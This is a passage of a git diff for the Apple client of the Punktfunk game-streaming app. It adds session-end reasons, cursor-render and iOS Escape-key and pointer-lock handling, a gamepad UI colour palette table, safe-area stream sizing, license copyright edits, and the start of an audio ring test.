remember + /// the rule — and a library without launcher entries comes back untouched. + var launchersFirst: [GameEntry] { + let launchers = filter(\.isLauncher) + return launchers.isEmpty ? self : launchers + filter { !$0.isLauncher } + } } /// Errors surfaced to the UI so it can guide setup (the common case is "not paired yet"). diff --git a/clients/apple/Sources/PunktfunkKit/Connection/PunktfunkConnection.swift b/clients/apple/Sources/PunktfunkKit/Connection/PunktfunkConnection.swift index 93d319f0..350b44f6 100644 --- a/clients/apple/Sources/PunktfunkKit/Connection/PunktfunkConnection.swift +++ b/clients/apple/Sources/PunktfunkKit/Connection/PunktfunkConnection.swift @@ -1430,6 +1430,49 @@ public final class PunktfunkConnection { } } + /// Why a stream session ended — the Swift mirror of `PunktfunkEndReason` (ABI v17). + /// + /// The distinction that matters to a UI is normal vs alarming, and it is not a spectrum: a + /// player quitting their game and a host falling off the network both arrive as "the session + /// ended". Without this every client wrote one message for all of them, and every client chose + /// an error. + public enum SessionEndReason: UInt8, Sendable { + /// Not ended, or ended before a reason could be observed. Also the fallback for an + /// unrecognized value — the core may be newer than this code. + case none = 0 + /// This client closed the session. Nothing to report: the UI initiated it. + case local = 1 + /// The host's launched game exited. A normal finish, and the one reason worth acting on: + /// go back to the library the title was launched from. + case gameExited = 2 + /// The host ended the session deliberately (an operator "End", or it simply finished). + case hostEnded = 3 + /// The host closed reporting a failure of its own. + case hostError = 4 + /// The connection died rather than being closed: idle timeout, reset, network gone. This — + /// and only this — is the "the host may be asleep" case. + case lost = 5 + + /// Is this an ordinary outcome rather than something to alarm the user about? `.none` + /// counts as normal: no evidence of trouble is not evidence of it. + public var isNormal: Bool { self != .hostError && self != .lost } + } + + /// Why this session ended. Only meaningful once it HAS ended (a plane threw `.closed`, or + /// `onSessionEnd` fired) — before that it is `.none`. + /// + /// Read it before tearing the connection down: once `close()` has been requested this reports + /// `.none`, which is the safe direction (the caller falls back to its normal handling). + public var sessionEndReason: SessionEndReason { + guard let h = liveHandle() else { return .none } + var out: UInt8 = 0 + guard punktfunk_connection_end_reason(h, &out) == statusOK else { return .none } + return SessionEndReason(rawValue: out) ?? .none + } + + /// Shorthand for the single most actionable reason: the host's launched game exited. + public var endedBecauseGameExited: Bool { sessionEndReason == .gameExited } + deinit { close() } /// Snapshot the handle unless close is pending (callers hold their plane lock). diff --git a/clients/apple/Sources/PunktfunkKit/Resources/LICENSE-APACHE.txt b/clients/apple/Sources/PunktfunkKit/Resources/LICENSE-APACHE.txt index ce5770dc..3826403e 100644 --- a/clients/apple/Sources/PunktfunkKit/Resources/LICENSE-APACHE.txt +++ b/clients/apple/Sources/PunktfunkKit/Resources/LICENSE-APACHE.txt @@ -186,7 +186,7 @@ same "printed page" as the copyright notice for easier identification within third-party archives. - Copyright 2026 unom + Copyright 2026 unom - Enrico Bühler Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. diff --git a/clients/apple/Sources/PunktfunkKit/Resources/LICENSE-MIT.txt b/clients/apple/Sources/PunktfunkKit/Resources/LICENSE-MIT.txt index f42d1f92..18796f0e 100644 --- a/clients/apple/Sources/PunktfunkKit/Resources/LICENSE-MIT.txt +++ b/clients/apple/Sources/PunktfunkKit/Resources/LICENSE-MIT.txt @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2026 unom +Copyright (c) 2026 unom - Enrico Bühler Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/clients/apple/Sources/PunktfunkKit/Resources/THIRD-PARTY-NOTICES.txt b/clients/apple/Sources/PunktfunkKit/Resources/THIRD-PARTY-NOTICES.txt index afbffeec..5646bef3 100644 --- a/clients/apple/Sources/PunktfunkKit/Resources/THIRD-PARTY-NOTICES.txt +++ b/clients/apple/Sources/PunktfunkKit/Resources/THIRD-PARTY-NOTICES.txt @@ -1,7 +1,7 @@ THIRD-PARTY SOFTWARE NOTICES ============================================================================ -punktfunk (https://git.unom.io/unom/punktfunk) is licensed under MIT OR Apache-2.0. +Punktfunk (https://git.unom.io/unom/punktfunk) is licensed under MIT OR Apache-2.0. The binaries it ships statically/dynamically link the third-party Rust crates listed below. Each is distributed under its own permissive license; the full license texts follow the manifest. This file is generated by scripts/gen-third-party-notices.py diff --git a/clients/apple/Sources/PunktfunkKit/Views/StreamView.swift b/clients/apple/Sources/PunktfunkKit/Views/StreamView.swift index 60061f66..a0372cc9 100644 --- a/clients/apple/Sources/PunktfunkKit/Views/StreamView.swift +++ b/clients/apple/Sources/PunktfunkKit/Views/StreamView.swift @@ -538,14 +538,25 @@ public final class StreamLayerView: NSView { } } - /// Tell the host who renders the pointer (the §8 mid-stream render flip): we draw it only - /// while the DESKTOP model is engaged (the local OS cursor wears the host shape); under - /// the capture model — and while released — the host composites it into the video (full - /// fidelity, the pre-channel look). One edge-detected reconciler, called from every + /// Tell the host who renders the pointer (the §8 mid-stream render flip). The host may + /// composite one into the video ONLY while we are holding a grabbed, hidden pointer — the + /// capture model, engaged. That is the one state with no local cursor on screen. + /// + /// Every other state leaves a normal OS cursor visible over the video: the desktop model + /// draws it wearing the host's shape, and a RELEASED view shows the plain arrow. A + /// host-composited pointer then appears *underneath* it as a second cursor — and, because a + /// released view forwards no motion, one that never moves. On glass that reads as a frozen + /// duplicate stuck wherever the host pointer was last left (verified: `client_draws=false + /// blended=true live=(-1, 622)` — parked on the streamed output's left edge while the user + /// moved their own cursor around freely). + /// + /// So "released" counts as WE draw it: the host stops compositing, the client keeps + /// receiving shape/state over the channel (the forwarder only ticks on this side of the + /// flip), and re-engaging is seamless. One edge-detected reconciler, called from every /// transition (chord, engage/release, session start). private func reconcileCursorRender() { guard cursorChannelActive, let connection else { return } - let clientDraws = captured && desktopMouse + let clientDraws = !captured || desktopMouse guard sentClientDraws != clientDraws else { return } sentClientDraws = clientDraws connection.setCursorRender(clientDraws: clientDraws) diff --git a/clients/apple/Sources/PunktfunkKit/Views/StreamViewIOS.swift b/clients/apple/Sources/PunktfunkKit/Views/StreamViewIOS.swift index bc75217b..f0bca1e2 100644 --- a/clients/apple/Sources/PunktfunkKit/Views/StreamViewIOS.swift +++ b/clients/apple/Sources/PunktfunkKit/Views/StreamViewIOS.swift @@ -225,6 +225,15 @@ public final class StreamViewController: StreamViewControllerBase { /// How long an escalated attempt reports `prefersPointerLocked == false` before flipping back, /// so the system observes a real transition instead of coalescing the flip away. private static let pointerLockForcedOffHold: TimeInterval = 0.05 + /// Attempts spent in the QUIET tail (see `scheduleQuietRelock()`), reset with the burst. + private var pointerRelockQuietAttempt = 0 + /// When the quiet tail re-asks, measured from the drop. The visible burst above spends its whole + /// budget inside ~0.6 s — and the pointer-lock cooldown the platform applies right after its own + /// Escape gesture is about a second, so every one of those attempts asks while the answer can + /// only be no. These land AFTER it. They are "quiet" because unlike the burst they do not hide + /// the cursor or mute motion: the pointer behaves exactly as it does today while they run, so + /// stretching the recovery costs the user nothing if it also fails. + private static let pointerRelockQuietDelays: [TimeInterval] = [1.2, 2.4] #endif /// Reads whether the scene's pointer is actually locked right now; nil = state @@ -340,12 +349,80 @@ public final class StreamViewController: StreamViewControllerBase { // SwiftUI places us in the hierarchy AFTER start()'s setCaptured(true), and may reparent us // later — re-anchor the chain here so a lock requested before we had a parent still lands. updatePointerLockChain() + anchorKeyResponder() } public override func didMove(toParent parent: UIViewController?) { super.didMove(toParent: parent) updatePointerLockChain() // chain shape changed — re-anchor (or no-op if not yet in a window) } + + /// Put THIS controller on the responder chain for hardware key presses. + /// + /// Nothing of ours is otherwise a first responder during a normal stream: keys arrive on the + /// GameController (`GCKeyboard`) path, which is a parallel HID feed that does not consume the + /// UIKit event, and `StreamLayerUIView` only becomes first responder to summon the SOFT + /// keyboard (it is `UIKeyInput`, so making it one for any other reason would raise the on-screen + /// keyboard mid-game). With no responder of ours in the chain, every hardware key press reaches + /// UIKit unclaimed — and an unclaimed press is what lets the system apply its own default for + /// that key. `pressesBegan` below is where we claim Escape; this is what gets it delivered. + /// + /// A controller is not `UIKeyInput`, so being first responder raises no keyboard. Deferred to + /// the soft keyboard whenever the view has taken over, so the three-finger-swipe keyboard is + /// unaffected. + /// + /// Only while captured — the whole claim is scoped to "the stream owns the keyboard", and + /// holding the chain outside that would sit in front of SwiftUI's focus for no reason. Safe to + /// call from anywhere: `start()` engages capture BEFORE SwiftUI puts us in a window (where + /// `becomeFirstResponder` cannot succeed), so `viewDidAppear` calls it again to catch up. + private func anchorKeyResponder() { + guard captured, !streamView.isFirstResponder, !isFirstResponder else { return } + becomeFirstResponder() + } + + public override var canBecomeFirstResponder: Bool { true } + + /// Claim Escape while the stream owns the keyboard, so the SYSTEM never gets to act on it. + /// + /// This is the fix for "Escape hands the mouse back to iPadOS": the platform releases the + /// scene's pointer lock on an Escape that nothing claimed — the same "let me out" the web + /// Pointer Lock API mandates. Every recovery attempt before this one fought that release AFTER + /// the fact (a re-lock burst, then a click), and the platform's post-Escape cooldown means the + /// burst is refused by construction. Claiming the press means there is nothing to recover from. + /// + /// Escape is forwarded to the host on the GCKeyboard path, which is untouched by this — that + /// path never sees the UIKit responder chain, so the host still receives the keystroke and + /// in-game menus still open. Only the system's own interpretation is suppressed. + /// + /// Strictly scoped: only while `captured` (the stream owns input), and only Escape. Anything + /// else — including every key while the pointer is released — goes to `super` untouched, so + /// Escape still dismisses sheets, exits full screen and does everything else it should whenever + /// we are not holding the keyboard. The deliberate ways out are unaffected: ⌘⎋ and ⌃⌥⇧Q are + /// recognized on the GCKeyboard path and clear `captured` themselves. + public override func pressesBegan(_ presses: Set, with event: UIPressesEvent?) { + let unclaimed = presses.filter { !claimsPress($0) } + if !unclaimed.isEmpty || presses.isEmpty { + super.pressesBegan(unclaimed, with: event) + } + } + + public override func pressesEnded(_ presses: Set, with event: UIPressesEvent?) { + let unclaimed = presses.filter { !claimsPress($0) } + if !unclaimed.isEmpty || presses.isEmpty { + super.pressesEnded(unclaimed, with: event) + } + } + + public override func pressesCancelled(_ presses: Set, with event: UIPressesEvent?) { + // Never swallowed: a cancelled press is the system taking the key away from us, and + // dropping it here would strand UIKit's own bookkeeping for a press we did claim. + super.pressesCancelled(presses, with: event) + } + + /// Is this press one the stream owns outright (Escape while captured)? + private func claimsPress(_ press: UIPress) -> Bool { + captured && press.key?.keyCode == .keyboardEscape + } #endif #if os(tvOS) @@ -478,6 +555,7 @@ public final class StreamViewController: StreamViewControllerBase { if !down, self.wantsPointerLock, self.pointerLockWasEngaged, !self.pointerRelockPending, self.pointerLockEngaged() != true { self.pointerRelockAttempt = 0 + self.pointerRelockQuietAttempt = 0 // a real gesture buys a fresh tail too self.updatePointerLockChain() // a reparent since the drop would break the walk to us self.requestPointerRelock() } @@ -749,10 +827,16 @@ public final class StreamViewController: StreamViewControllerBase { guard captureEnabled, !captured, connection != nil else { return } inputCapture?.setForwarding(true, suppressClick: fromClick) captured = true + // Claim the responder chain for as long as we own the keyboard — `pressesBegan` has to + // be delivered to us before it can keep Escape away from the system. + anchorKeyResponder() } else { guard captured else { return } inputCapture?.setForwarding(false) captured = false + // Hand the chain back: released means Escape is the system's again, and staying first + // responder for a stream that no longer owns input would sit in front of SwiftUI focus. + if isFirstResponder { resignFirstResponder() } } setNeedsUpdateOfPrefersPointerLocked() updatePointerLockChain() // (re)anchor the SwiftUI ancestors so the lock actually resolves @@ -782,6 +866,7 @@ public final class StreamViewController: StreamViewControllerBase { pointerLockWasEngaged = true pointerRelockPending = false pointerRelockAttempt = 0 + pointerRelockQuietAttempt = 0 // granted — any scheduled tail finds nothing to do } else if wantsPointerLock, pointerLockWasEngaged { requestPointerRelock() } else { @@ -790,6 +875,7 @@ public final class StreamViewController: StreamViewControllerBase { if !wantsPointerLock { pointerLockWasEngaged = false } pointerRelockPending = false pointerRelockAttempt = 0 + pointerRelockQuietAttempt = 0 } let useGCMouse = captured && locked // Lock dropped (or capture ended) while the GCMouse path held a button down: once @@ -830,10 +916,12 @@ public final class StreamViewController: StreamViewControllerBase { pointerRelockAttempt = 0 } guard pointerRelockAttempt < Self.pointerRelockAttemptLimit else { - // Out of budget: fall back to exactly today's behavior — the iPadOS cursor comes back - // and a click into the video re-captures. The caller invalidates the interaction, so - // the cursor can never stay hidden on a lock the system won't grant. + // Out of VISIBLE budget: give the cursor straight back (the caller invalidates the + // interaction, so it can never stay hidden on a lock the system won't grant) and hand + // off to the quiet tail, which keeps asking after the platform's post-Escape cooldown + // without costing the user anything while it does. pointerRelockPending = false + scheduleQuietRelock() return } pointerRelockAttempt += 1 @@ -881,6 +969,43 @@ public final class StreamViewController: StreamViewControllerBase { } } } + + /// Keep asking for the lock after the visible burst has given up — past the cooldown the + /// platform applies to its own Escape gesture, which is the window the burst spends entirely. + /// + /// Deliberately NOT a longer burst. `pointerRelockPending` hides the cursor and mutes absolute + /// motion, which is only tolerable for the couple of frames a fast re-grab takes; holding that + /// for seconds would trade a released pointer for a frozen one. These attempts leave the + /// pointer fully usable — if they all fail the user sees exactly today's behaviour, and a click + /// is still the immediate way back. + /// + /// Each attempt presents a real false→true transition (the same escalation the burst uses on + /// its later tries) because re-asserting a value the system already holds is what didn't take. + /// A grant arrives as a `didChange` → `syncPointerLock`, which resets the counters, so a + /// successful attempt silently ends the tail. + private func scheduleQuietRelock() { + guard pointerRelockQuietAttempt < Self.pointerRelockQuietDelays.count else { return } + let delay = Self.pointerRelockQuietDelays[pointerRelockQuietAttempt] + pointerRelockQuietAttempt += 1 + DispatchQueue.main.asyncAfter(deadline: .now() + delay) { [weak self] in + guard let self else { return } + // Still wanted, still ours to want, and still not held — otherwise the tail is moot. + guard self.wantsPointerLock, self.pointerLockWasEngaged, + self.pointerLockEngaged() != true, + self.view.window?.windowScene?.activationState == .foregroundActive + else { return } + self.pointerLockForcedOff = true + self.setNeedsUpdateOfPrefersPointerLocked() + self.updatePointerLockChain() + DispatchQueue.main.asyncAfter(deadline: .now() + Self.pointerLockForcedOffHold) { + [weak self] in + guard let self else { return } + self.pointerLockForcedOff = false + self.setNeedsUpdateOfPrefersPointerLocked() + self.scheduleQuietRelock() // no-op once the delays are spent, or once granted + } + } + } #endif deinit { diff --git a/clients/apple/Sources/PunktfunkShared/DefaultsKeys.swift b/clients/apple/Sources/PunktfunkShared/DefaultsKeys.swift index 56f97896..79bb74f6 100644 --- a/clients/apple/Sources/PunktfunkShared/DefaultsKeys.swift +++ b/clients/apple/Sources/PunktfunkShared/DefaultsKeys.swift @@ -179,6 +179,14 @@ public enum DefaultsKey { /// layout (the console launcher, gamepad-navigable settings, a coverflow-style library) /// whenever a gamepad is connected. On by default; see `GamepadUIEnvironment.isActive`. public static let gamepadUIEnabled = "punktfunk.gamepadUIEnabled" + /// Which colour family the gamepad UI's living backdrop drifts through — a + /// `GamepadPalette` id ("violet" = the brand default, then "tide"/"forest"/"ember"/ + /// "rose"/"graphite"). The cross-client `ui_palette` key: the desktop console and the + /// Android client carry the same table under the same names. Presentation only, so it is + /// a device preference and never part of a stream profile. An unknown value reads as the + /// default rather than failing — a newer client may have shipped a palette this build + /// doesn't know. + public static let uiPalette = "punktfunk.uiPalette" /// iPhone: ALSO play the rumble the host addresses to controller 1 (wire pad 0) on this /// device's own Taptic Engine — for phone-clip pads that ship without rumble motors, where /// the phone body is the only actuator in the player's hands. Off by default (opt-in); read diff --git a/clients/apple/Sources/PunktfunkShared/GamepadPalette.swift b/clients/apple/Sources/PunktfunkShared/GamepadPalette.swift new file mode 100644 index 00000000..09b6d702 --- /dev/null +++ b/clients/apple/Sources/PunktfunkShared/GamepadPalette.swift @@ -0,0 +1,177 @@ +// The gamepad UI's background colour families, and the ink each one calls for. +// +// A palette is a short ordered ramp of DISTINCT hues, not one hue at several brightnesses. The +// 4×4 mesh samples that ramp diagonally with a per-cell offset (`cellRamp`), so neighbouring +// cells land on different parts of it and the colours pool and swirl the way a real gradient +// poster does; the mesh's existing control-point drift then moves those pools around. An earlier +// version rotated ONE field's hue per palette, which is why every non-default palette read flat. +// +// A palette also owns the UI sitting on it: `accent` is the focus wash / selected pill / switch +// colour, and `light` flips the ink so a pale field gets dark text instead of white. +// +// The table, `ramp` and `cellRamp` are mirrored in `pf-console-ui`'s `library.rs` (Rust) and the +// Android client's `GamepadPalette.kt` (Kotlin) under the same ids, so one `ui_palette` value is +// one look on every client. Keep the three copies in step: a palette added here without the +// others is a value the other clients silently render as Violet. +// +// It lives in PunktfunkShared rather than next to the views because that is the target the tests +// can reach — the arithmetic below is the part that has to agree across three languages. + +import Foundation +import simd + +public struct GamepadPalette: Identifiable, Equatable, Sendable { + /// The stored `ui_palette` value (`DefaultsKey.uiPalette`). + public let id: String + /// What the settings row shows. + public let name: String + /// The colour ramp, dark end first. Empty = use `violetMesh` verbatim (the brand default, + /// kept bit-identical to what every install already sees). + public let stops: [SIMD3] + /// The field's ground — what the corners settle onto and what the calm mix lifts toward. + public let ground: SIMD3 + /// The UI accent: focus wash, selected tab pill, switch track, caret. + public let accent: SIMD3 + /// A pale field: the UI flips to dark ink and the legibility scrims go white. + public let light: Bool + + /// Where each of the 16 mesh cells samples the ramp. The base is the diagonal + /// `0.5·(x + y)` — top-left is the ramp's dark end, bottom-right its bright one — and the + /// per-cell nudges break the banding a pure diagonal would give, so hues pool instead of + /// striping. + static let cellRamp: [Double] = [ + 0.10, -0.06, 0.04, -0.12, + -0.08, 0.14, -0.10, 0.06, + 0.06, -0.12, 0.16, -0.04, + -0.10, 0.08, -0.06, 0.12, + ] + + /// The brand default's 16 mesh colours, row-major 4×4: dark-violet corners sink the frame, + /// the edges carry mid-tone violets, and the interior holds the bright brand family. + public static let violetMesh: [SIMD3] = { + let corner = SIMD3(0.075, 0.060, 0.160) + return [ + corner, SIMD3(0.34, 0.27, 0.72), SIMD3(0.30, 0.26, 0.74), corner, + SIMD3(0.42, 0.20, 0.54), SIMD3(0.49, 0.39, 0.95), SIMD3(0.28, 0.31, 0.84), SIMD3(0.16, 0.26, 0.64), + SIMD3(0.45, 0.23, 0.60), SIMD3(0.53, 0.31, 0.75), SIMD3(0.35, 0.35, 0.91), SIMD3(0.19, 0.28, 0.70), + corner, SIMD3(0.22, 0.18, 0.54), SIMD3(0.24, 0.20, 0.58), corner, + ] + }() + + /// The brand default's blob ramp — the four colours the pre-18/15 legacy field used, kept so + /// `violet` is unchanged on older OSes too. + static let violetBlobs: [SIMD3] = [ + SIMD3(0.53, 0.47, 0.96), SIMD3(0.24, 0.20, 0.72), SIMD3(0.62, 0.30, 0.80), + SIMD3(0.22, 0.38, 0.86), SIMD3(0.53, 0.47, 0.96), + ] + + /// The twelve shipped palettes: the brand default, five more dark fields, then six pale + /// ones. Cycling order runs dark → light, so stepping the row walks the whole range one way. + public static let all: [GamepadPalette] = [ + // --- dark fields (white ink) --- + GamepadPalette( + id: "violet", name: "Violet", stops: [], + ground: SIMD3(0.075, 0.060, 0.160), accent: SIMD3(0.525, 0.471, 0.961), light: false), + GamepadPalette( + // Deep indigo climbing through violet into a hot magenta. + id: "nebula", name: "Nebula", + stops: [SIMD3(0.07, 0.05, 0.20), SIMD3(0.26, 0.14, 0.54), SIMD3(0.52, 0.20, 0.72), + SIMD3(0.82, 0.26, 0.62), SIMD3(0.98, 0.46, 0.68)], + ground: SIMD3(0.055, 0.040, 0.135), accent: SIMD3(0.95, 0.42, 0.72), light: false), + GamepadPalette( + // Ink-blue water: teal → cerulean → a violet undertow. + id: "abyss", name: "Abyss", + stops: [SIMD3(0.02, 0.10, 0.17), SIMD3(0.04, 0.28, 0.42), SIMD3(0.07, 0.46, 0.63), + SIMD3(0.16, 0.38, 0.78), SIMD3(0.26, 0.22, 0.58)], + ground: SIMD3(0.018, 0.070, 0.130), accent: SIMD3(0.26, 0.76, 0.92), light: false), + GamepadPalette( + // Banked coals: plum embers → crimson → burnt orange → gold. + id: "ember", name: "Ember", + stops: [SIMD3(0.16, 0.03, 0.10), SIMD3(0.45, 0.06, 0.12), SIMD3(0.72, 0.18, 0.06), + SIMD3(0.90, 0.42, 0.08), SIMD3(0.95, 0.68, 0.18)], + ground: SIMD3(0.090, 0.035, 0.040), accent: SIMD3(0.98, 0.62, 0.26), light: false), + GamepadPalette( + // Forest floor into moss and a lime break. + id: "moss", name: "Moss", + stops: [SIMD3(0.03, 0.11, 0.09), SIMD3(0.06, 0.27, 0.20), SIMD3(0.09, 0.45, 0.31), + SIMD3(0.28, 0.61, 0.28), SIMD3(0.58, 0.77, 0.31)], + ground: SIMD3(0.025, 0.085, 0.070), accent: SIMD3(0.48, 0.86, 0.46), light: false), + GamepadPalette( + // Neutral, but never flat: barely-there saturation that still travels from a cool + // charcoal to a warm stone. + id: "graphite", name: "Graphite", + stops: [SIMD3(0.06, 0.07, 0.11), SIMD3(0.15, 0.18, 0.25), SIMD3(0.30, 0.31, 0.35), + SIMD3(0.45, 0.42, 0.38), SIMD3(0.60, 0.56, 0.49)], + ground: SIMD3(0.055, 0.055, 0.070), accent: SIMD3(0.78, 0.80, 0.86), light: false), + // --- pale fields (dark ink) --- + GamepadPalette( + // The holographic foil: rose → lilac → periwinkle → aqua, with a white bloom. + id: "holo", name: "Holo", + stops: [SIMD3(0.99, 0.72, 0.90), SIMD3(0.80, 0.60, 0.98), SIMD3(0.58, 0.62, 0.99), + SIMD3(0.55, 0.86, 0.98), SIMD3(0.94, 0.98, 1.00)], + ground: SIMD3(0.96, 0.92, 0.99), accent: SIMD3(0.42, 0.28, 0.86), light: true), + GamepadPalette( + // The poster sunset: periwinkle → magenta → scarlet → tangerine → gold. + id: "sunset", name: "Sunset", + stops: [SIMD3(0.55, 0.45, 0.92), SIMD3(0.86, 0.31, 0.66), SIMD3(0.97, 0.26, 0.34), + SIMD3(0.99, 0.51, 0.18), SIMD3(1.00, 0.80, 0.22)], + ground: SIMD3(0.98, 0.74, 0.34), accent: SIMD3(0.64, 0.13, 0.44), light: true), + GamepadPalette( + // Peach into blush and lilac — the softest of the set. + id: "bloom", name: "Bloom", + stops: [SIMD3(1.00, 0.86, 0.72), SIMD3(0.99, 0.73, 0.79), SIMD3(0.95, 0.65, 0.89), + SIMD3(0.82, 0.68, 0.96), SIMD3(0.73, 0.79, 0.99)], + ground: SIMD3(0.99, 0.90, 0.89), accent: SIMD3(0.72, 0.24, 0.55), light: true), + GamepadPalette( + // First light: pale gold → coral → lilac. + id: "dawn", name: "Dawn", + stops: [SIMD3(1.00, 0.92, 0.70), SIMD3(1.00, 0.80, 0.62), SIMD3(0.99, 0.66, 0.62), + SIMD3(0.90, 0.62, 0.78), SIMD3(0.77, 0.69, 0.95)], + ground: SIMD3(1.00, 0.93, 0.82), accent: SIMD3(0.82, 0.33, 0.28), light: true), + GamepadPalette( + // Sea glass: mint → aqua → a pale sky. + id: "mint", name: "Mint", + stops: [SIMD3(0.82, 0.98, 0.90), SIMD3(0.62, 0.94, 0.88), SIMD3(0.55, 0.88, 0.95), + SIMD3(0.63, 0.82, 0.99), SIMD3(0.82, 0.87, 1.00)], + ground: SIMD3(0.90, 0.98, 0.96), accent: SIMD3(0.04, 0.42, 0.40), light: true), + GamepadPalette( + // Near-white, but iridescent rather than flat — rose, sky, mint and cream in turn. + id: "opal", name: "Opal", + stops: [SIMD3(0.98, 0.92, 0.96), SIMD3(0.87, 0.93, 0.99), SIMD3(0.91, 0.99, 0.95), + SIMD3(0.99, 0.96, 0.88), SIMD3(0.94, 0.90, 0.99)], + ground: SIMD3(0.97, 0.96, 0.99), accent: SIMD3(0.36, 0.32, 0.44), light: true), + ] + + /// The palette stored under `id`, falling back to the brand default — an unknown name is a + /// palette a newer client shipped, not a reason to draw nothing. + public static func named(_ id: String) -> GamepadPalette { + all.first { $0.id == id } ?? all[0] + } + + /// Sample an ordered colour ramp at `t` ∈ [0, 1] (linear between neighbouring stops). + public static func ramp(_ stops: [SIMD3], _ t: Double) -> SIMD3 { + guard let first = stops.first else { return SIMD3(0, 0, 0) } + guard stops.count > 1 else { return first } + let x = min(max(t, 0), 1) * Double(stops.count - 1) + let i = min(Int(x.rounded(.down)), stops.count - 2) + let f = x - Double(i) + return stops[i] + (stops[i + 1] - stops[i]) * f + } + + /// The 16 mesh colours for this palette: the ramp sampled per cell, or `violetMesh` verbatim + /// for the brand default. + public var meshColors: [SIMD3] { + guard !stops.isEmpty else { return Self.violetMesh } + return (0..<16).map { i in + let (x, y) = (Double(i % 4) / 3.0, Double(i / 4) / 3.0) + return Self.ramp(stops, 0.5 * (x + y) + Self.cellRamp[i]) + } + } + + /// Four drifting blob colours for the pre-18/15 legacy field. Spread across the ramp so it + /// still shows several hues at once. + public var blobColors: [SIMD3] { + let s = stops.isEmpty ? Self.violetBlobs : stops + return (0..<4).map { Self.ramp(s, 0.15 + 0.25 * Double($0)) } + } +} diff --git a/clients/apple/Sources/PunktfunkShared/SafeDisplay.swift b/clients/apple/Sources/PunktfunkShared/SafeDisplay.swift new file mode 100644 index 00000000..e0baef82 --- /dev/null +++ b/clients/apple/Sources/PunktfunkShared/SafeDisplay.swift @@ -0,0 +1,86 @@ +// Safe-area stream sizing — the pure geometry behind the "safe area" resolution row. +// +// An iPhone clips the picture in HARDWARE: the sensor housing (notch / Dynamic Island) and the four +// rounded corners eat whatever the stream draws underneath them. The session view is deliberately +// edge-to-edge (ContentView's `.ignoresSafeArea()` on iOS) and the presenter aspect-FITS the host +// mode into it, so which pixels survive is decided entirely by the mode's aspect ratio: +// +// * A 16:9 mode on a 19.5:9 phone pillarboxes, and those black bars land exactly on the unsafe +// regions. That is why 1080p has always "just worked" and never needed a setting. +// * The device's NATIVE mode has the screen's own aspect ratio, so it fills every pixel — +// including the ones behind the housing and under the corner radii. That is the mode that +// loses its corners, and the reason this file exists. +// +// So the fix needs no layout change and no input change: ask the host for a mode that is narrower +// by the safe-area insets, and the existing aspect-fit centres it inside the safe region. Pointer +// input keeps mapping correctly for free, because `hostPoint(from:)` derives the video rect from +// the live host mode (`AVMakeRect(aspectRatio:insideRect:)`) instead of assuming full-bleed. +// +// The formula is Moonlight's (its settings' resolution table carries the same row): full native +// height, width reduced by the left+right safe-area insets. Width-only is not a simplification — +// under aspect-fit only one axis can bind, and on a landscape phone that axis is always the +// horizontal one. Insetting the height too would shrink the picture without uncovering anything. + +import Foundation + +public enum SafeDisplay { + /// The host rejects odd dimensions and anything under 320×200 (`validate_dimensions` in + /// `pf-encode`), so the computed mode is even-floored and clamped exactly like `RenderScale`. + public static let minWidth = 320 + public static let minHeight = 200 + + /// A portrait top inset at or above this many points means a sensor housing rather than a + /// status bar. Notched and Dynamic Island iPhones report 44–59 pt; a plain status bar (older + /// iPhones, every iPad) reports 20–24 pt. Used only by [`sideInsetPoints`] and only when the + /// horizontal insets are unavailable — see there for why that case exists at all. + public static let housingTopInsetThreshold: Double = 40 + + /// The per-side inset, in points, that the **landscape** stream will be subject to — which is + /// not necessarily the inset the caller can read right now. + /// + /// The stream is always landscape, but the settings screen the resolution row is rendered in may + /// be portrait, and `safeAreaInsets` only ever describes the CURRENT orientation. In portrait a + /// notched iPhone reports its housing on `top` and reports `left`/`right` as zero, so reading + /// the horizontal insets there would compute "no inset needed" for exactly the devices that + /// need one. + /// + /// - In landscape, `max(left, right)` is the answer directly. (iOS symmetrizes the two so + /// content stays centred, so they normally agree; `max` is simply the safe reduction.) + /// - In portrait, the housing's portrait TOP inset equals its landscape SIDE inset on every + /// notched/Dynamic Island iPhone — the same physical intrusion, measured on the axis that + /// happens to be vertical at the time — so `top` is the correct stand-in. It is accepted only + /// on phones and only past [`housingTopInsetThreshold`], so an iPad's status bar (or an older + /// iPhone's) never fabricates an inset for a device with nothing to avoid. + /// + /// Returns 0 when there is no housing to route around, which makes the safe mode identical to + /// the native one — and the caller's dedup then drops the duplicate row on its own. + public static func sideInsetPoints( + left: Double, right: Double, top: Double, isPhone: Bool + ) -> Double { + let horizontal = max(left, right) + if horizontal > 0 { return horizontal } + if isPhone, top >= housingTopInsetThreshold { return top } + return 0 + } + + /// The landscape safe-area mode in PIXELS: full native height, width reduced by + /// `sideInsetPoints` on each side. + /// + /// `nativeWidth`/`nativeHeight` are the device's native landscape pixels (the long edge first — + /// `UIScreen.main.nativeBounds` is portrait-oriented, so the caller swaps). `scale` converts the + /// point-valued insets into those same pixels and must therefore be `nativeScale`, not `scale`: + /// with Display Zoom on, the two differ and only the former matches `nativeBounds`. + /// + /// Even-floored and clamped so the result is directly host-valid — an odd width is rejected + /// outright by the encoder, and an inset subtraction lands odd about half the time. + public static func mode( + nativeWidth: Int, nativeHeight: Int, sideInsetPoints: Double, scale: Double + ) -> (width: Int, height: Int) { + let insetPixels = max(0, sideInsetPoints) * max(scale, 1) * 2 // both sides + let width = Double(nativeWidth) - insetPixels + let evenFloor: (Double, Int) -> Int = { value, minimum in + max(Int(value.rounded(.down)), minimum) / 2 * 2 + } + return (evenFloor(width, minWidth), evenFloor(Double(nativeHeight), minHeight)) + } +} diff --git a/clients/apple/Tests/PunktfunkKitTests/AudioRingDriftTests.swift b/clients/apple/Tests/PunktfunkKitTests/AudioRingDriftTests.swift index a86949dd..7fb85be1 100644 --- a/clients/apple/Tests/PunktfunkKitTests/AudioRingDriftTests.swift +++ b/clients/apple/Tests/PunktfunkKitTests/AudioRingDriftTests.swift @@ -91,5 +91,112 @@ final class AudioRingDriftTests: XCTestCase { scratch.contains { $0 != 0 }, "a single short read must not force a full re-prime") } + + /// Mirror of the Rust `target_grows_on_underruns_and_relaxes_when_quiet`: clustered genuine + /// underruns raise the target floor (that session needs the slack), a long quiet spell gives + /// it back — and the floor never dips below the base. + func testTargetGrowsOnUnderrunsAndRelaxesWhenQuiet() { + let ring = AudioRing(capacity: 48_000 * channels, channels: channels) + let want = 5 * perMS + var scratch = [Float](repeating: 0, count: want) + let feed = [Float](repeating: 0.5, count: 25 